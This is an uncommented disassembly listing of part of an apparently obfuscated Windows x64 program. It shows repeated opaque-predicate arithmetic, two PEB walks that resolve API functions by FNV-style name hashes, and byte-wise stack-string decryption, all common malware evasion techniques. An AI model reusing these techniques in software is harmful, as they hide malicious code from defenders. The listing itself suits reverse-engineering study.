movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140046f65
mov esi, 7
mov dword [rsp + 0x60], esi
jmp 0x140047001
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140046ffd
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si esi, xmm0
mov dword [rsp + 0x60], esi
jmp 0x140047001
mov esi, dword [rsp + 0x60]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140047061
mov r8d, 2
lea rdx, [0x140073a8c]
lea rcx, [rsp + 0x19a8]
call fcn.140002020
lea rcx, [rsp + 0x1968]
call fcn.1400020a0
mov rdx, rax
mov r8, qword [rsp + 0x1978]
lea rcx, [rsp + 0x19a8]
call fcn.140002020
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, r14
call fcn.14006f7a0
nop
lea rcx, [rsp + 0x1968]
call fcn.140001c70
lea rcx, [rsp + 0x15f8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rcx, qword [rsp + 0x1590]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x1598]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r14d, 7
jmp 0x140046700
mov rcx, qword [rsp + 0x1568]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor r12d, r12d
mov rcx, qword [rsp + 0x1570]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400471f8
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400471f8
mov eax, r14d
jmp 0x140047293
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004728c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140047293
mov eax, dword [rsp + 0x1680]
cmp r12d, eax
jge 0x1400473c7
cmp qword [rsp + 0x19b8], 0
jne 0x14004734e
mov byte [rsp + 0xda0], 6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xda1], xmm0
mov qword [rsp + 0xdb1], rax
mov dword [rsp + 0xdb9], eax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jae 0x14004732b
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xda0]
add rcx, 0x11cd5
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x2d
add dl, cl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xda0], dl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1d
jb 0x1400472e0
lea rdx, [rsp + 0xda0]
lea rcx, [rsp + 0xdc0]
call fcn.140001d00
nop
mov ebx, dword [rsp + 0xa0]
bts ebx, 0x12
jmp 0x14004736e
lea rdx, [rsp + 0x19a8]
lea rcx, [rsp + 0xde0]
call fcn.140001d40
mov ebx, dword [rsp + 0xa0]
bts ebx, 0x13
mov rdx, rax
lea rcx, [rsp + 0x1908]
call fcn.140001cd0
bts ebx, 0x14
mov dword [rsp + 0xa0], ebx
bt ebx, 0x13
jae 0x1400473a8
btr ebx, 0x13
mov dword [rsp + 0xa0], ebx
lea rcx, [rsp + 0xde0]
call fcn.140001c70
nop
bt ebx, 0x12
jae 0x1400473c7
btr ebx, 0x12
mov dword [rsp + 0xa0], ebx
lea rcx, [rsp + 0xdc0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x19a8]
call fcn.140001c70
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400478cd
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400474e6
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400474e6
mov ebx, 7
jmp 0x140047581
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004757a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140047581
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx ecx, al
mov eax, edi
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400478cd
mov dword [rsp + 0x1630], 0x40
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004767a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004767a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140047675
mov ecx, 0x940da127
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140047650
cmp ecx, 0x8529f594
je 0x14004779f
test r8d, r8d
jne 0x140047620
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140047690
cmp qword [rax + 0x30], 0
je 0x140047690
mov al, 1
jmp 0x140047692
xor al, al
test al, al
jne 0x1400475f0
mov rdx, r12
lea rcx, [rsp + 0x1630]
call rdx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400477bd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400477bd
mov eax, 7
jmp 0x140047858
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14004769d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140047851
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140047858
mov eax, dword [rsp + 0x1680]
cmp r12d, eax
jge 0x1400478cd
mov rdx, qword [rsp + 0x1638]
shr rdx, 0x14
lea rcx, [rsp + 0xe20]
call fcn.14005de20
mov ebx, dword [rsp + 0xa0]
bts ebx, 0x16
mov dword [rsp + 0xa0], ebx
mov r8d, 3
lea rdx, [0x140073a90]
lea rcx, [rsp + 0xe20]
call fcn.140002020
mov rdx, rax
lea rcx, [rsp + 0x18e8]
call fcn.140001cd0
or ebx, 0xa00000
mov dword [rsp + 0xa0], ebx
lea rcx, [rsp + 0xe20]
call fcn.140001c70
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140048227
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400479df
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400479df
mov r15d, 7
mov ebx, r15d
jmp 0x140047a80
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140047a73
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140047a7a
mov ebx, dword [rsp + 0x1680]
mov r15d, 7
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140048227
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004947c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140047bba
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140047bba
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140047bb5
mov ecx, 0xe83ebbad
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140047b90
cmp ecx, 0xf9dd1e69
je 0x140047ca5
test r8d, r8d
jne 0x140047b60
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140047bd7
cmp qword [rax + 0x30], 0
je 0x140047bd7
mov al, 1
jmp 0x140047bd9
xor al, al
test al, al
jne 0x140047b30
mov rdx, r12
lea rcx, [rsp + 0x16d8]
call rdx
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140047cc3
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140047cc3
mov ebx, r15d
jmp 0x140047d5e
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x140047be4
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140047d57
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140047d5e
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004947c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004947c
mov rax, r12
cmp byte [rsp + 0x16d8], 1
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140047eaf
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140047eaf
mov ebx, r15d
jmp 0x140047f4a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140047f43
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140047f4a
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140048347
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004808b
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004808b
mov eax, r15d
jmp 0x140048126
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004811f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140048126
mov eax, dword [rsp + 0x1680]
cmp r12d, eax
jge 0x14004947c
mov byte [rsp + 0xe60], 0x40
mov byte [rsp + 0xe61], 0xad
mov byte [rsp + 0xe62], 0xa7
mov byte [rsp + 0xe63], 0x54
mov byte [rsp + 0xe64], 0x53
mov byte [rsp + 0xe65], 0x50
mov byte [rsp + 0xe66], 0x52
mov byte [rsp + 0xe67], 0x17
mov byte [rsp + 0xe68], 0xb1
mov byte [rsp + 0xe69], 0xb7
mov byte [rsp + 0xe6a], 0x2a
xor eax, eax
mov dword [rsp + 0xe6b], eax
mov word [rsp + 0xe6f], ax
mov byte [rsp + 0xe71], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jae 0x140048207
movabs r8, 0xdede5efd0e1fc0a8
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xe60]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x68
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xe60], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x1400481c0
